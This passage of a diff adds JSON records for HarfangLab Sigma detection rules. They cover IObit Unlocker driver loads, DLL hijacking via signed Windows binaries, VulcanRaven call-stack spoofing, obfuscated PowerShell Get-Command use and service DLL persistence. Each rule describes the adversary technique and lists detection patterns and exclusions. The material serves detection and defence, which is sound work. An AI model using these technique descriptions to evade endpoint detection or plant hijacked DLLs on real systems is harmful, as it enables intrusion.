+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086219Z",
+  "creation_date": "2026-03-23T11:45:34.086221Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086225Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.reliaquest.com/blog/double-extortion-attack-analysis/",
+    "https://www.iobit.com/fr/iobit-unlocker.php",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_execution_of_iobitunlocker_driver.yml",
+  "content": "title: IObit Unlocker Driver Loaded\nid: 79f2b027-0261-441e-a1d1-d569515a7c9b\ndescription: |\n    Detects the loading of the IObit Unlocker driver.\n    IObit Unlocker is a free utility tool that allows the removal of files and folders that are currently being locked by the system because used by another program or resource.\n    Adversaries may used this tool to modify and/or disable security tools and avoid possible detection of their malicious actions.\n    It is recommended to check if the driver is expected to be loaded on this machine and to look for other suspicious actions on the host.\nreferences:\n    - https://www.reliaquest.com/blog/double-extortion-attack-analysis/\n    - https://www.iobit.com/fr/iobit-unlocker.php\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/09/19\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.DriverLoad\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: driver_load\n    product: windows\ndetection:\n    selection:\n        ImageLoaded|endswith: '\\IObitUnlocker.sys'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "79f2b027-0261-441e-a1d1-d569515a7c9b",
+  "rule_name": "IObit Unlocker Driver Loaded",
+  "rule_description": "Detects the loading of the IObit Unlocker driver.\nIObit Unlocker is a free utility tool that allows the removal of files and folders that are currently being locked by the system because used by another program or resource.\nAdversaries may used this tool to modify and/or disable security tools and avoid possible detection of their malicious actions.\nIt is recommended to check if the driver is expected to be loaded on this machine and to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2023-09-19",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "79f83292-015d-4a28-8506-63731c5b8f83",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605515Z",
+  "creation_date": "2026-03-23T11:45:34.605519Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605526Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1124/"
+  ],
+  "name": "t1124_system_time_discovery_with_net.yml",
+  "content": "title: System Time Discovered via net.exe\nid: 79f83292-015d-4a28-8506-63731c5b8f83\ndescription: |\n    Detects the execution of net1.exe with the time option.\n    Adversaries can use this command during discovery phase to get the current time on the target system.\n    It is recommended to investigate the context of this action and any other alerts to determine its legitimacy.\n    If this action is legitimate and recurrent, it is highly recommended to create a whitelist for certain machines or parent scripts.\nreferences:\n    - https://attack.mitre.org/techniques/T1124/\ndate: 2022/12/01\nmodified: 2025/01/14\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1124\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\net1.exe'\n        - OriginalFileName: 'net1.exe'\n\n    selection_commandline:\n        CommandLine|contains: ' time'\n\n    exclusion_set:\n        CommandLine|contains: ' /set'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "79f83292-015d-4a28-8506-63731c5b8f83",
+  "rule_name": "System Time Discovered via net.exe",
+  "rule_description": "Detects the execution of net1.exe with the time option.\nAdversaries can use this command during discovery phase to get the current time on the target system.\nIt is recommended to investigate the context of this action and any other alerts to determine its legitimacy.\nIf this action is legitimate and recurrent, it is highly recommended to create a whitelist for certain machines or parent scripts.\n",
+  "rule_creation_date": "2022-12-01",
+  "rule_modified_date": "2025-01-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1124"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7a38622a-a464-4772-8ad7-6a4af058f902",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586317Z",
+  "creation_date": "2026-03-23T11:45:34.586322Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586329Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tpmvscmgrsvr.yml",
+  "content": "title: DLL Hijacking via TpmVscMgrSvr.exe\nid: 7a38622a-a464-4772-8ad7-6a4af058f902\ndescription: |\n    Detects potential Windows DLL Hijacking via TpmVscMgrSvr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'TpmVscMgrSvr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\profapi.dll'\n            - '\\winscard.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7a38622a-a464-4772-8ad7-6a4af058f902",
+  "rule_name": "DLL Hijacking via TpmVscMgrSvr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via TpmVscMgrSvr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7aa1a4f9-41af-4cd0-ad9a-4f846568bb24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070103Z",
+  "creation_date": "2026-03-23T11:45:34.070105Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070110Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_inj_thr_callstack_spoofing_vulcan_raven.yml",
+  "content": "title: Spoofed Injected Thread Call Stack Related to VulcanRaven\nid: 7aa1a4f9-41af-4cd0-ad9a-4f846568bb24\ndescription: |\n    Detects arbitrary call stacks related to the VulcanRaven PoC.\n    VulcanRaven employs call stack spoofing techniques to evade detection by EDR solutions, it manipulates thread call stacks to appear as legitimate Windows system operations, making malicious activities blend in with normal system behavior.\n    Attackers may try to bypass EDR behavioral detection by forging call stacks that mimic trusted system processes and libraries, thereby evading stack-based heuristics and memory analysis.\n    It is recommended to investigate the source process, validate the legitimacy of the call chain, examine memory for inconsistencies, and correlate with other suspicious activities from the same process or parent process.\nreferences:\n    - https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2025/08/25\nmodified: 2025/11/25\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055.001\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: injected_thread\ndetection:\n    selection_wmi_callstack:\n        MinimalStackTrace|contains|all:\n            - 'kernelbase.dll'\n            - 'CorperfmonExt.dll'\n            - 'kernel32.dll'\n            - 'ntdll.dll'\n        StackTrace|contains:\n            - 'CorperfmonExt.dll+0xc669'\n            - 'CorperfmonExt.dll+0xc71b'\n            - 'CorperfmonExt.dll+0x2fde'\n\n    selection_sysmain_callstack:\n        MinimalStackTrace|contains|all:\n            - 'kernelbase.dll'\n            - 'sysmain.dll'\n            - 'svchost.exe'\n            - 'sechost.dll'\n        StackTrace|contains:\n            - 'sysmain.dll+0x80e5f'\n            - 'sysmain.dll+0x60ce6'\n            - 'sysmain.dll+0x2a7d3'\n\n    selection_rpc_callstack:\n        MinimalStackTrace|contains|all:\n            - 'kernelbase.dll'\n            - 'lsm.dll'\n            - 'RPCRT4.dll'\n        StackTrace|contains:\n            - 'RPCRT4.dll+0x79633'\n            - 'RPCRT4.dll+0x13711'\n            - 'RPCRT4.dll+0xdd77b'\n            - 'lsm.dll+0xe959'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7aa1a4f9-41af-4cd0-ad9a-4f846568bb24",
+  "rule_name": "Spoofed Injected Thread Call Stack Related to VulcanRaven",
+  "rule_description": "Detects arbitrary call stacks related to the VulcanRaven PoC.\nVulcanRaven employs call stack spoofing techniques to evade detection by EDR solutions, it manipulates thread call stacks to appear as legitimate Windows system operations, making malicious activities blend in with normal system behavior.\nAttackers may try to bypass EDR behavioral detection by forging call stacks that mimic trusted system processes and libraries, thereby evading stack-based heuristics and memory analysis.\nIt is recommended to investigate the source process, validate the legitimacy of the call chain, examine memory for inconsistencies, and correlate with other suspicious activities from the same process or parent process.\n",
+  "rule_creation_date": "2025-08-25",
+  "rule_modified_date": "2025-11-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7ae9c4cc-ed50-4fbe-bc8d-8ccdea2aa0c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084832Z",
+  "creation_date": "2026-03-23T11:45:34.084834Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084839Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/get-command",
+    "https://www.deepinstinct.com/blog/muddyc2go-latest-c2-framework-used-by-iranian-apt-muddywater-spotted-in-israel",
+    "https://www.sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1027/010/"
+  ],
+  "name": "t1059_001_powershell_suspicious_getcommand_cmdlet.yml",
+  "content": "title: Suspicious Get-Command Cmdlet Executed via PowerShell\nid: 7ae9c4cc-ed50-4fbe-bc8d-8ccdea2aa0c4\ndescription: |\n    Detects the suspicious usage of the PowerShell Get-Command cmdlet and its built-in gcm alias.\n    The Get-Command cmdlet gets all commands that are installed on the computer and is used, in combination with a filter, by attackers to call cmdlets in an obfuscated way.\n    It is recommended to investigate the PowerShell script to determine its legitimacy.\nreferences:\n    - https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/get-command\n    - https://www.deepinstinct.com/blog/muddyc2go-latest-c2-framework-used-by-iranian-apt-muddywater-spotted-in-israel\n    - https://www.sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1027/010/\ndate: 2023/11/10\nmodified: 2025/04/09\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.defense_evasion\n    - attack.t1027.010\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n            - '&(Get-Command'\n            - '& (Get-Command'\n            - '&(gcm'\n            - '& (gcm'\n\n    exclusion_arcgis:\n        - PowershellScriptPath:\n            - '?:\\Program Files\\WindowsPowerShell\\Modules\\ArcGIS\\DscResources\\ArcGIS_xFirewall\\ArcGIS_xFirewall.psm1'\n            - '?:\\Program Files\\WindowsPowerShell\\Modules\\ArcGIS\\\\*\\DscResources\\ArcGIS_xFirewall\\ArcGIS_xFirewall.psm1'\n        - PowershellCommand|contains: 'return &(Get-Command ?Get-NetFirewall$Property?)  -AssociatedNetFireWallRule $FireWallRule'\n\n    exclusion_velociraptor:\n        ProcessParentImage: '?:\\Program Files\\Velociraptor\\Velociraptor.exe'\n\n    exclusion_warp:\n        ProcessCommandLine|contains|all:\n            - 'PSReadline;$global:_warpOriginalPrompt ='\n            - '$global:_warpSessionId ='\n            - 'session_id = $_warpSessionId; shell'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7ae9c4cc-ed50-4fbe-bc8d-8ccdea2aa0c4",
+  "rule_name": "Suspicious Get-Command Cmdlet Executed via PowerShell",
+  "rule_description": "Detects the suspicious usage of the PowerShell Get-Command cmdlet and its built-in gcm alias.\nThe Get-Command cmdlet gets all commands that are installed on the computer and is used, in combination with a filter, by attackers to call cmdlets in an obfuscated way.\nIt is recommended to investigate the PowerShell script to determine its legitimacy.\n",
+  "rule_creation_date": "2023-11-10",
+  "rule_modified_date": "2025-04-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.010",
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7b3b21b7-c748-42a2-98b5-45be960c87bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592217Z",
+  "creation_date": "2026-03-23T11:45:34.592220Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592228Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_shrpubw.yml",
+  "content": "title: DLL Hijacking via shrpubw.exe\nid: 7b3b21b7-c748-42a2-98b5-45be960c87bd\ndescription: |\n    Detects potential Windows DLL Hijacking via shrpubw.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'shrpubw.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\aclui.dll'\n            - '\\mfc42u.dll'\n            - '\\netutils.dll'\n            - '\\srvcli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7b3b21b7-c748-42a2-98b5-45be960c87bd",
+  "rule_name": "DLL Hijacking via shrpubw.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via shrpubw.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7b3c8d99-ed7c-436d-aeb2-0f5cb60ebab4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072218Z",
+  "creation_date": "2026-03-23T11:45:34.072220Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072224Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain",
+    "https://attack.mitre.org/techniques/T1543/003/"
+  ],
+  "name": "t1543_001_service_dll_no_envvars.yml",
+  "content": "title: Service DLL Without Environment Variable\nid: 7b3c8d99-ed7c-436d-aeb2-0f5cb60ebab4\ndescription: |\n    Detects the creation or modification of a service DLL without using environment variables such as %System32% or %WinDir% to construct the path of the DLL to launch.\n    Adversaries may modify or create a new service based on a DLL to persist on a system.\n    It is recommended to check the origin of the library to determine its legitimacy and the activity of the process for malicious behavior.\nreferences:\n    - https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain\n    - https://attack.mitre.org/techniques/T1543/003/\ndate: 2024/09/26\nmodified: 2025/05/06\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1543.003\n    - attack.execution\n    - attack.t1569.002\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\\\*\\Parameters\\\\ServiceDll'\n\n    filter_envvars:\n        Details|contains: \"%\"\n\n    exclusion_spool:\n        Image: '?:\\Windows\\System32\\regsvr32.exe'\n        Details|startswith:\n            - '?:\\WINDOWS\\system32\\spool\\drivers\\x64\\3\\'\n            - '?:\\WINDOWS\\system32\\spool\\drivers\\W32X86\\3\\'\n\n    exclusion_pml_driver:\n        Details: '?:\\Windows\\System32\\HPZipm12.dll'\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\Pml Driver HPZ12\\Parameters\\ServiceDll'\n\n    exclusion_msiexec:\n        Image: '?:\\Windows\\System32\\msiexec.exe'\n\n    exclusion_w32time:\n        Image: '?:\\Windows\\System32\\w32tm.exe'\n        Details: '?:\\WINDOWS\\SYSTEM32\\w32time.DLL'\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\w32time\\Parameters\\ServiceDll'\n\n    exclusion_azure:\n        Image: '?:\\Program Files\\Microsoft\\AzureAttestService\\AzureAttestServiceInstaller.exe'\n        Details: '?:\\Program Files\\Microsoft\\AzureAttestService\\AzureAttestService.dll'\n\n    exclusion_hp:\n        ProcessParentImage: '?:\\Windows\\System32\\msiexec.exe'\n        Details: '?:\\Program Files (x86)\\HP\\Digital Imaging\\bin\\hpq*.dll' # (hpqddsvc.dll, hpqcxs08.dll)\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7b3c8d99-ed7c-436d-aeb2-0f5cb60ebab4",
+  "rule_name": "Service DLL Without Environment Variable",
+  "rule_description": "Detects the creation or modification of a service DLL without using environment variables such as %System32% or %WinDir% to construct the path of the DLL to launch.\nAdversaries may modify or create a new service based on a DLL to persist on a system.\nIt is recommended to check the origin of the library to determine its legitimacy and the activity of the process for malicious behavior.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-05-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003",
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7b4c77e7-bb49-48f3-a0a5-dad094238be9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
